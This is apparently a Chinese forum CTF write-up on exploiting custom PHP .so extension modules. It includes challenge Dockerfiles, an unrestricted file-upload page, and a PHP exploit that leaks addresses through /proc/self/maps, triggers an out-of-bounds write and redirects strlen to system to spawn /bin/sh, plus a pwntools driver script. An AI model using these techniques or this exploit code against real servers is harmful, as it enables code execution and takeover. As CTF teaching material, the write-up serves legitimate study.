-
-
[原创]CTF php .so pwn 题型分析
-
发表于: 2024-6-4 13:18 21532
-
最近打比赛 遇到了几道 php so 模块的 pwn 题,个人感觉挺有意思的
一般情况下会把php 大部分函数 ban 掉,只是用 自定义so 文件里的函数
虽然里面函数名前面有zif_ ,实际上调用的函数名是
最简单的获取函数调用者传递过来的参数便是使用zend_parse_parameters()函数。zend_parse_parameters()函数的前几个参数我们直接用内核里宏来生成便可以了,形式为:ZEND_NUM_ARGS() TSRMLS_CC,注意两者之间有个空格,但是没有逗号。从名字可以看出,ZEND_NUM_ARGS()代表着参数的个数。紧接着需要传递给zend_parse_parameters()函数的参数是一个用于格式化的字符串,就像printf的第一个参数一样。下面表示了最常用的几个符号。
如果参数不是预期的数量和类型,zend_parse_parameters 会返回 -1 否则 0
简单了解下 lzz 是什么东东
bin_data_size的映射表,将宏定义展开为如下数组所示:
大致结构体
正常情况下,array_size 是 4
array_size 被改 ( 和quicksort 有关),基本上使用 edit 时 idx 就没有限制了,只要知道 heap 地址和另一个地址,即可实现任意地址写
然后把所需要的 so 放到指定目录, 后面再启动的后应该就可以成功加载了
直接用本机apache2 + php 环境调试,
所以说,没法直接调试,我们可以是用 /usr/sbin/apachectl -X 即可调试进程. apachectl是一个 shell脚本
add_chunk()show_chunk()edit_chunk()edit_name()free_chunk()add_chunk()show_chunk()edit_chunk()edit_name()free_chunk()<?phpecho "123";echo "123";add_chunk(1,[0x23],"name");?><?phpecho "123";echo "123";add_chunk(1,[0x23],"name");?>rdi 第一个参数可能是 传递参数的数量,rsi 可以通过该指针指向的字符数量来得知正确的参数数量(当前add_chunk) `lzz` 3个参数 类型rdi 第一个参数可能是 传递参数的数量,rsi 可以通过该指针指向的字符数量来得知正确的参数数量(当前add_chunk) `lzz` 3个参数 类型4 int6 strings7 arrary4 int6 strings7 arraryint zend_parse_parameters(size_t arg_num, char *TypeChar, ...)int zend_parse_parameters(size_t arg_num, char *TypeChar, ...)b Booleanl Integer 整型d Floating point 浮点型s String 字符串r Resource 资源a Array 数组o Object instance 对象O Object instance of a specified type 特定类型的对象z Non-specific zval 任意类型~Z zval**类型f 表示函数、方法名称,PHP5.3之前没有的b Booleanl Integer 整型d Floating point 浮点型s String 字符串r Resource 资源a Array 数组o Object instance 对象O Object instance of a specified type 特定类型的对象z Non-specific zval 任意类型~Z zval**类型f 表示函数、方法名称,PHP5.3之前没有的uint32_t bin_data_size[] = {8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, 448, 512, 640, 768, 896, 1024, 1280, 1536, 1792, 2048, 2560, 3072 ...};uint32_t bin_data_size[] = {8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, 448, 512, 640, 768, 896, 1024, 1280, 1536, 1792, 2048, 2560, 3072 ...};#!/usr/bin/python3import sysimport tempfileimport ossys.stdout.write("File size >> ")sys.stdout.flush()size = int(sys.stdin.readline().strip())if size > 1024*1024: sys.stdout.write("Too large!") sys.stdout.flush() sys.exit(1)sys.stdout.write("Data >> ")sys.stdout.flush()script = sys.stdin.read(size)filename = tempfile.mktemp()with open(filename, "w") as f: f.write(script)os.system("php " + filename)#!/usr/bin/python3import sysimport tempfileimport ossys.stdout.write("File size >> ")sys.stdout.flush()size = int(sys.stdin.readline().strip())if size > 1024*1024: sys.stdout.write("Too large!") sys.stdout.flush() sys.exit(1)sys.stdout.write("Data >> ")sys.stdout.flush()script = sys.stdin.read(size)filename = tempfile.mktemp()with open(filename, "w") as f: f.write(script)os.system("php " + filename)FROM php:8.3-apacheRUN apt-get updateRUN apt-get upgrade -yRUN DEBIAN_FRONTEND=noninteractiveRUN apt install lib32z1 xinetd libstdc++6 lib32stdc++6 python3 -yRUN useradd -m ctfRUN echo "ctf:ctf" | chpasswdWORKDIR /home/ctfADD ynetd /home/ctfADD server.py /home/ctfADD run.sh /home/ctfCOPY ./php.ini /usr/local/etc/phpCOPY ./numberGame.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831COPY ./readflag /COPY ./flag.txt /flag.txtRUN chmod 400 /flag.txtRUN chmod u+sx /readflagEXPOSE 5555CMD ./ynetd -p 5555 "timeout 30 ./run.sh"FROM php:8.3-apacheRUN apt-get updateRUN apt-get upgrade -yRUN DEBIAN_FRONTEND=noninteractiveRUN apt install lib32z1 xinetd libstdc++6 lib32stdc++6 python3 -yRUN useradd -m ctfRUN echo "ctf:ctf" | chpasswdWORKDIR /home/ctfADD ynetd /home/ctfADD server.py /home/ctfADD run.sh /home/ctfCOPY ./php.ini /usr/local/etc/phpCOPY ./numberGame.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831COPY ./readflag /COPY ./flag.txt /flag.txtRUN chmod 400 /flag.txtRUN chmod u+sx /readflagEXPOSE 5555CMD ./ynetd -p 5555 "timeout 30 ./run.sh"docker load -i jingxiang.tar.gzdocker load -i jingxiang.tar.gzdocker run --name run_numbergame -p 5555:5555 -itd numbergame:latestdocker run --name run_numbergame -p 5555:5555 -itd numbergame:lateststruct mechunk{ size_t *name_ptr; size_t num; size_t array_size; // 默认 最大 100, 通过漏洞使这里变大,我们既可以实现数组越界 ...;};struct mechunk{ size_t *name_ptr; size_t num; size_t array_size; // 默认 最大 100, 通过漏洞使这里变大,我们既可以实现数组越界 ...;};<?php$heap_base = 0;$libc_base = 0;$libc = "";$mbase = "";function u64($leak){ $leak = strrev($leak); $leak = bin2hex($leak); $leak = hexdec($leak); return $leak;}function p64($addr){ $addr = dechex($addr); $addr = hex2bin($addr); $addr = strrev($addr); $addr = str_pad($addr, 8, "\x00"); return $addr;}function leakaddr($buffer){ global $libc, $mbase; $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/'; $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/numberGame.so/'; preg_match_all($p, $buffer, $libc); preg_match_all($p1, $buffer, $mbase); return "";}ob_start("leakaddr");include("/proc/self/maps");$buffer = ob_get_contents();ob_end_flush();leakaddr($buffer);echo "\n----1-----\n";add_chunk(5,[0,0,0,0x80000000,0],"test1"); # 需要构造好#add_chunk(1,[0],"/bin/sh;");add_chunk(1,[0],"/bin/sh");$rel = show_chunk(0); # 这里触发漏洞 vlun 会把数组控制的范围增大,然后 越界修改和泄露其他地方的值$heap = $rel[7];$heap += ($rel[8] << 0x20); // 泄露 heap 地址$of = $heap - 72; # 数组起始#$str_got = hexdec($mbase[1][0])+ 0x4008; // 计算 strlen 的地址,##echo "\n----heap-----\n";echo dechex($heap);echo "\n----4-----\n";echo $libc[1][0];echo "\n----4-----\n";#$offset = ($str_got - $of) / 4;$system = (hexdec($libc[1][0]) + 0x4c490);echo $offset;edit_chunk(0,$offset,$system & 0xffffffff); # 修改strlen_got表低四字节为 system//修改name 的时候 会先 strlen测量 name 的长度 strlen("/bin/sh");edit_name(1,'1'); # ?><?php$heap_base = 0;$libc_base = 0;$libc = "";$mbase = "";function u64($leak){ $leak = strrev($leak); $leak = bin2hex($leak); $leak = hexdec($leak); return $leak;}function p64($addr){ $addr = dechex($addr); $addr = hex2bin($addr); $addr = strrev($addr); $addr = str_pad($addr, 8, "\x00"); return $addr;}function leakaddr($buffer){ global $libc, $mbase; $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/'; $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/numberGame.so/'; preg_match_all($p, $buffer, $libc); preg_match_all($p1, $buffer, $mbase); return "";}ob_start("leakaddr");include("/proc/self/maps");$buffer = ob_get_contents();ob_end_flush();leakaddr($buffer);echo "\n----1-----\n";add_chunk(5,[0,0,0,0x80000000,0],"test1"); # 需要构造好#add_chunk(1,[0],"/bin/sh;");add_chunk(1,[0],"/bin/sh");$rel = show_chunk(0); # 这里触发漏洞 vlun 会把数组控制的范围增大,然后 越界修改和泄露其他地方的值$heap = $rel[7];$heap += ($rel[8] << 0x20); // 泄露 heap 地址$of = $heap - 72; # 数组起始#$str_got = hexdec($mbase[1][0])+ 0x4008; // 计算 strlen 的地址,##echo "\n----heap-----\n";echo dechex($heap);echo "\n----4-----\n";echo $libc[1][0];echo "\n----4-----\n";#$offset = ($str_got - $of) / 4;$system = (hexdec($libc[1][0]) + 0x4c490);echo $offset;edit_chunk(0,$offset,$system & 0xffffffff); # 修改strlen_got表低四字节为 system//修改name 的时候 会先 strlen测量 name 的长度 strlen("/bin/sh");edit_name(1,'1'); # ?>FROM php:8.3-apacheRUN apt-get updateRUN apt-get upgrade -yRUN DEBIAN_FRONTEND=noninteractiveRUN apt install vim -yCOPY ./stuff/php.ini /usr/local/etc/phpCOPY ./stuff/vuln.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831COPY ./stuff/readflag /COPY ./flag.txt /flag.txtCOPY ./stuff/index.php /var/www/htmlRUN chmod 400 /flag.txtRUN chmod u+sx /readflagRUN chmod -R 777 /var/www/htmlFROM php:8.3-apacheRUN apt-get updateRUN apt-get upgrade -yRUN DEBIAN_FRONTEND=noninteractiveRUN apt install vim -yCOPY ./stuff/php.ini /usr/local/etc/phpCOPY ./stuff/vuln.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831COPY ./stuff/readflag /COPY ./flag.txt /flag.txtCOPY ./stuff/index.php /var/www/htmlRUN chmod 400 /flag.txtRUN chmod u+sx /readflagRUN chmod -R 777 /var/www/html<?php@error_reporting(E_ALL);$file = $_FILES['file'];if (!isset($file)){ die('upload error');}$result = move_uploaded_file($file['tmp_name'], $file['name']);if ($result){ echo 'upload success';}else{ echo 'upload error';}<?php@error_reporting(E_ALL);$file = $_FILES['file'];if (!isset($file)){ die('upload error');}$result = move_uploaded_file($file['tmp_name'], $file['name']);if ($result){ echo 'upload success';}else{ echo 'upload error';}/etc/php/8.3/apache2/php.ini添加extension = vuln.so/etc/php/8.3/apache2/php.ini添加extension = vuln.sofrom pwn import *from os import systemimport syss = lambda data :io.send(data)sa = lambda delim,data :io.sendafter(str(delim), data)sl = lambda data :io.sendline(data)sla = lambda delim,data :io.sendlineafter(str(delim), data)r = lambda num :io.recv(num)ru = lambda delims, drop=True :io.recvuntil(delims, drop)rl = lambda :io.recvline()itr = lambda :io.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))ls = lambda data :log.success(data)lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))context.arch = 'amd64'context.log_level = 'debug'context.terminal = ['tmux','splitw','-h','-l','190']def start(binary,argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw) elif args.RE: return remote() elif args.AWD: # python3 exp.py AWD 1.1.1.1 PORT IP = str(sys.argv[1]) PORT = int(sys.argv[2]) return remote(IP,PORT) else: return process([binary] + argv, *a, **kw)io = process(['/usr/sbin/apachectl', '-X'])print(io.pid)sleep(0.1)import subprocessgdbscript = '''b *zif_addHacker#b *zif_displayHackerb *zif_editHacker#b *zif_editHackerc'''command = ["pgrep", "-f", "/usr/sbin/apache2"]result = subprocess.run(command, capture_output=True, text=True)pids = int(result.stdout.strip().split("\n")[0])gdb.attach(pids,gdbscript)pause()system('cp exp.php /var/www/html/exp.php')system('curl 625K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9J5c8X3g2^5M7q4)9J5k6i4m8Z5M7q4)9J5y4H3`.`.)itr()from pwn import *from os import systemimport syss = lambda data :io.send(data)sa = lambda delim,data :io.sendafter(str(delim), data)sl = lambda data :io.sendline(data)sla = lambda delim,data :io.sendlineafter(str(delim), data)r = lambda num :io.recv(num)ru = lambda delims, drop=True :io.recvuntil(delims, drop)rl = lambda :io.recvline()itr = lambda :io.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))ls = lambda data :log.success(data)lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))context.arch = 'amd64'context.log_level = 'debug'context.terminal = ['tmux','splitw','-h','-l','190']def start(binary,argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw) elif args.RE: return remote() elif args.AWD: # python3 exp.py AWD 1.1.1.1 PORT IP = str(sys.argv[1]) PORT = int(sys.argv[2]) return remote(IP,PORT)